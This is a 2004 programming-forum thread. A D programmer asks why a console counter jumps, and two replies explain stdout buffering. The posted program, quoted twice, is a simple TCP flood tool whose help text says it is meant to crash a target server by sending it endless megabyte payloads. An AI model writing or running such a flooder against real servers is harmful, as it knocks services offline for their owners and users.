Thread overview
Something weird.
Jun 17, 2004
kinghajj
Jun 17, 2004
Vathix
Jun 17, 2004
Oskar Linde
June 17, 2004
Here's my code:

import std.socket;
import std.string;

char[] fill_string(int l)
{
char[] string;
string.length = l;

for(int i = 0;i < l;i++)
{
string[i] = 0x01;
}
return string;
}

int main(char[][] args)
{
char[] servername;
int port;

if(args.length == 3)
{
servername = args[1];
port = atoi(args[2]);
}
else if(args.length == 2 && args[1] == "-help" || args[1] == "--help" || args[1]
== "-h")
{
printf("flood\nby King Hajj\n\n");
printf("floods a server with crap, hopefully causing it to crash.\n");
return 0;
}
else
{
printf("usage: flood server port\n");
return 0;
}

char[] meg = fill_string(1024*1024);

for(int i = 1;;i++)
{
InternetHost ih = new InternetHost;
ih.getHostByName(servername);
InternetAddress ia = new InternetAddress(ih.addrList[0], port);
TcpSocket sock = new TcpSocket;
sock.connect(ia);

sock.send(meg);
printf("\rSent %i megs to %.*s at port %i", i, servername, port);
sock.close();
}
return 0;
}

When I run it, instead of updating the megs every time 'i' goes up, it pauses for a while, and then it'll display (i.e. it 'jumps' g from 27 to 64). Does anybody know why it does this?

I'm running on Linux (if that helps), using DMD 0.90


June 17, 2004
"kinghajj" <kinghajj_member@pathlink.com> wrote in message news:carjkd$1s7$1@digitaldaemon.com...
> Here's my code:
>
> import std.socket;
> import std.string;
>
> char[] fill_string(int l)
> {
> char[] string;
> string.length = l;
>
> for(int i = 0;i < l;i++)
> {
> string[i] = 0x01;
> }
> return string;
> }
>
> int main(char[][] args)
> {
> char[] servername;
> int port;
>
> if(args.length == 3)
> {
> servername = args[1];
> port = atoi(args[2]);
> }
> else if(args.length == 2 && args[1] == "-help" || args[1] == "--help" ||
args[1]
> == "-h")
> {
> printf("flood\nby King Hajj\n\n");
> printf("floods a server with crap, hopefully causing it to crash.\n");
> return 0;
> }
> else
> {
> printf("usage: flood server port\n");
> return 0;
> }
>
> char[] meg = fill_string(1024*1024);
>
> for(int i = 1;;i++)
> {
> InternetHost ih = new InternetHost;
> ih.getHostByName(servername);
> InternetAddress ia = new InternetAddress(ih.addrList[0], port);
> TcpSocket sock = new TcpSocket;
> sock.connect(ia);
>
> sock.send(meg);
> printf("\rSent %i megs to %.*s at port %i", i, servername, port);
> sock.close();
> }
> return 0;
> }
>
> When I run it, instead of updating the megs every time 'i' goes up, it
pauses
> for a while, and then it'll display (i.e. it 'jumps' g from 27 to 64).
Does
> anybody know why it does this?
>
> I'm running on Linux (if that helps), using DMD 0.90
>

Works fine for me. Are you sure it isn't updating so fast that you just don't see some of the numbers? Try it with \n instead of \r.


June 17, 2004
kinghajj wrote:

> When I run it, instead of updating the megs every time 'i' goes up, it pauses
> for a while, and then it'll display (i.e. it 'jumps' g from 27 to 64). Does
> anybody know why it does this?
> 
> I'm running on Linux (if that helps), using DMD 0.90

My guess is that this is because the Linux console won't update the output until either the output buffer fills up, it reaches a \n or it is waiting for input from stdin. Adding an equivalent to fflush(stdout); after the printf will force the buffer contents to be printed.

/Oskar